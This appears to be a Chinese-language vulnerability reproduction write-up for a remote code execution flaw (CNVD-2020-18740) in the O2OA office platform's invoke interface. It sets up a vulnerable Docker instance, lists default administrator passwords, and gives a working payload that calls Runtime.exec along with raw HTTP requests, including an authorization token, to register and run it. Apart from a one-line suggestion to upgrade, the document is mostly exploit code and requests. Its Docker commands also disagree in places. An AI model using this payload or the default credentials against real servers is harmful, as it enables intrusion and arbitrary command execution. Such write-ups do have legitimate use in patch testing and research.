漏洞概述#
O2OA 是一款開源免費的企業及團隊辦公平台,提供門戶管理、流程管理、信息管理、數據管理四大平台,集工作匯報、項目協作、移動 OA、文檔分享、流程審批、數據協作等眾多功能,滿足企業各類管理和協作需求。O2OA 系統 invoke 接口存在遠程代碼執行漏洞。攻擊者可利用漏洞執行任意代碼。
影響範圍#
title=="O2OA"
CNVD-2020-18740
利用流程#
docker 拉取環境
docker pull oxnme/o2oa:6.1.3
docker run --name o2server -p 80:80 -p 20010:20010 -p 20020:20020 -p 20030:20030 -d o2oa/o2server
弱口令:xadmin/o2oa@2022
環境搭建完成後,直接通過瀏覽器訪問 8001 端口,自動跳到 o2oa 登錄頁面
http://192.168.31.151:8001/x_desktop/index.html
輸入默認口令,xadmin/o2,即可登錄成功。
注:新版的 O2OA 默認口令是:xadmin/o2oa@2022
找到服務管理
新增接口配置
填入如下執行命令的內容。
var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("id").getInputStream()));
var result = [];
while (true) {
var oneline = bufReader.readLine();
result.push(oneline);
if (!oneline) break;
}
var result = { "Result": result };
this.response.setBody(result, "application/json");
也可以通過如下請求包創建接口配置。
請求包如下:
POST /x_program_center/jaxrs/invoke?v=6.3 HTTP/1.1
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
直接執行命令。
請求包如下:
POST 192.168.31.151:20030/x_program_center/jaxrs/invoke/cmd/execute
Authorization: PfyuxmzgIzrrkjVKSmRBJ4uCkH5tYmpq50QnO7mEHhA
{"id":"cmd","name":"cmd","enableToken":false,"alias":"","description":"","validated":true,"enable":true,"text":"var bufReader = new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"id\").getInputStream()));\n\nvar result = [];\nwhile (true) {\n var oneline = bufReader.readLine();\n result.push(oneline);\n if (!oneline) break;\n}\nvar result = { \"Result\": result };\nthis.response.setBody(result, \"application/json\"); ","remoteAddrRegex":"","createTime":"2022-08-27 04:39:18","updateTime":"2022-08-27 04:39:18"}
執行不同的命令需要創建不同的接口配置。
修復建議#
升級版本